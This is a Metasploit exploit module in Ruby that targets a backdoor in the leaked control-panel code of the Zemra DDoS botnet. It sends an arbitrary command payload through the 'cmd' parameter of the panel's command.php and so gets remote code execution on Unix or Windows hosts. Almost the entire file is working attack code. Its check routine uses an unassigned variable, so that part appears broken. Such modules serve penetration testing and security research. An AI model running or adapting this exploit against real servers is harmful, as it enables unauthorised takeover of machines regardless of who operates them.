##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',
'Description' => %q{
This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
inside its leaked source code. Zemra is a crimeware bot that can be used to
conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jay Turla <@shipcod3>', #Metasploit Module
'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)
'Darren Martyn <@info_dox>' #Initial Discovery
],
'References' =>
[
['URL', 'http://0day.today/exploit/19259'],
['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro
['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']
],
'Privileged' => false,
'Payload' =>
{
'Space' => 10000,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' => %w{ unix win },
'Arch' => ARCH_CMD,
'Targets' =>
[
['zemra panel / Unix', { 'Platform' => 'unix' } ],
['zemra panel / Windows', { 'Platform' => 'win' } ]
],
'DisclosureDate' => 'Jun 28 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),
],self.class)
end
def check
txt = Rex::Text.rand_text_alpha(8)
http_send_command(txt)
if res && res.body =~ /cmd/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def http_send_command(cmd)
uri = normalize_uri(target_uri.path.to_s)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' =>
{
'cmd' => cmd
}
})
unless res && res.code == 200
fail_with(Failure::Unknown, 'Failed to execute the command.')
end
res
end
def exploit
http_send_command(payload.encoded)
end
end
